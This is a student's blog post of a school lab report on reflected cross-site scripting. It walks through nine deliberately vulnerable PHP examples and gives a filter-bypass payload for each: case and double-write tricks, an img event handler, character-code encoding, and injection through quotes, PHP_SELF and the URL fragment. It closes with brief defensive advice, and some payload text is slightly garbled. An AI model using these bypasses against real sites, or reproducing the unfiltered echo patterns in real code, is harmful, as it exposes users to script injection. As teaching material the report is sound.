title: 反射型XSS
date: 2019-03-13 20:36:26
tags: [web安全技术课程]
categories: 学校
反射型XSS
老师让写实验报告,就把实验报告贴一份过来吧。
实验目的
- 理解反射型XSS的原理
- 学习反射型XSS的实现过程
- 学习如何防御XSS
实验原理
跨站脚本攻击(Cross Site Scripting),为不和层叠样式表(Cascading Style Sheets, CSS)的缩写混淆,故将跨站脚本攻击缩写为XSS。XSS分为反射型XSS,存储型XSS和DOM型XSS。反射型XXS是一种非持久性的攻击,它指的是恶意攻击者往Web页面里插入恶意代码,当用户浏览该页之时,嵌入其中Web里面的html代码会被执行,从而达到恶意攻击用户的目的。这里插入的恶意代码并没有保存在目标网站,需要引诱用户点击一个链接到目标网站的恶意链接来实施攻击。
XSS攻击分类:
XSS漏洞一般有两种类型攻击。
a)一类是来自内部的攻击,主要指的是利用WEB程序自身的漏洞,提交特殊的字符串,从而使得跨站页面直接存在于被攻击站点上,这个字符串被称为跨站语句。这一类攻击所利用的漏洞非常类似于SQL Injection漏洞,都是WEB程序没有对用户输入作充分的检查和过滤。
b)另一类则是来来自外部的攻击,主要指的自己构造XSS跨站漏洞网页或者寻找非目标机以外的有跨站漏洞的网页。如当我们要渗透一个站点,我们自己构造一个跨站网页放在自己的服务器上,然后通过结合其它技术,如社会工程学等,欺骗目标服务器的管理员打开。这一类攻击的威胁相对较低。
实验步骤
Example 1
<?php
echo $_GET["name"];
?>
主要代码如上。这里通过GET方式传过去name参数,并且对传过去的参数没有做任何过滤,我们的输入会在页面进行显示。现在我们输入恶意代码<script>alert('chenie')</script>
XSS弹出弹框。
Example 2
<?php
$name = $_GET["name"];
$name = preg_replace("/<script>/", "", $name);
$name = preg_replace("/<\/script>/", "", $name);
echo $_GET["name"];
?>
这里加入了一些过滤,preg_replace()
函数如果检测到<script>
和</script>
就会把其替换为空格(区分大小写,只替换小写的)。
但这里并没有迭代替换,所以这里可以双写绕过也可以大小写绕过。
即payload<scr<script>ipt>alert('chenie')</s</script>cript>
或<scRipt>alert('chenie')</scRipt>
都可以绕过过滤进行XSS。
Example 3
<?php
$name = $_GET["name"];
$name = preg_replace("/<script>/i", "", $name);
$name = preg_replace("/<\/script>/i", "", $name);
echo $_GET["name"];
?>
这里还是用了preg_replace()
函数,只不过这里替换时不区分大小写,所以这里我们不能用大小写绕过了,但我们还是可以用双写绕过的,payload同上<scr<script>ipt>alert('chenie')</scr</script>ipt>
Example 4
<?php
if (preg_match('/script/i', $_GET["name"])){
die("error");
}
?>
<?php echo $_GET["name"]; ?>
上面是Example 4的主要代码,这里用了preg_match()
函数, 只要在获取的参数中含有script字符串即报错。这里我们可以使用img标签来绕过,img src调用图片失败然后执行后面的动作。payload为<img src=""onclick="alert('chenie')">
Example 5
<?php
if (preg_match('/alert/i', $_GET["name"])){
die("error");
}
?>
<?php echo $_GET["name"]; ?>
代码Example 5的preg_match()函数查找的字符串变成了alert,也就是我们的payload的中不能出现alert, 这样的情况下我们就可以用编码来绕过了, payload为<script>eval(String.fromCharCode(97,108,101,114,116,40,39,99,104,101,110,105,101,39))</script>
Example 6
<script>
var $a="<?php echo $_GET["name"];?>";
</script>
Example 6的主要代码, 直接在js环境中输出php变量。可以通过构造js脚本使标签闭合然后加入新标签,payload为</script><script>alert('chenie')</script>
Example 7
<script>
var $a="<?php echo htmlentities($_GET["name"]);?>";
</script>
主要代码如上,代码在js环境中输出通过html编码的php变量,htmlentities没有过滤单引号,我们使用单引号绕过,尝试构造语句如下:';alert('chenie');'
。
Example 8
<?php
if (isset($_POST["name"])){
echo "HELLO".htmlentities($_GET["name"]);
}
?>
<form action="<?php echo $_SERVER['PHP_SELF']; ?>"> method="POST">
Your name:<input type="text" name="name" />
<input type="submit" name="submit" />
</form>>
第八关,这里有一个输入用户名的地方,当测试提交一个地址的时候源码会显示出来一个链接,链接就是输入的链接,关键代码如上,payload为http://192.168.1.3:8080/xss3/xss/example8.php/[/url]"><script>alert('chenie')</script>"< "
Example 9
<script>
document.write(location.hash.substring(1));
</script>
代码如上,XSS直接在页面输出锚点id,构建一个带xss的锚点即可,payload为http://192.168.1.3:8080/xss3/xss/example9.php#alert(‘chenie’)</script)>
。刷新网页后,即可弹窗。
实验总结
XSS防御
- preg_repalce()执行一个正则表达式的搜索和替换
- preg_match()执行匹配正则表达式
- htmlspecialchars()将特殊字符转换为 HTML 实体
- strip_tags() 从字符串中去除 HTML 和 PHP 标记
- js环境输出php变量
总之就是对用户的输入进行检查和对用户的输出进行检查。
网友评论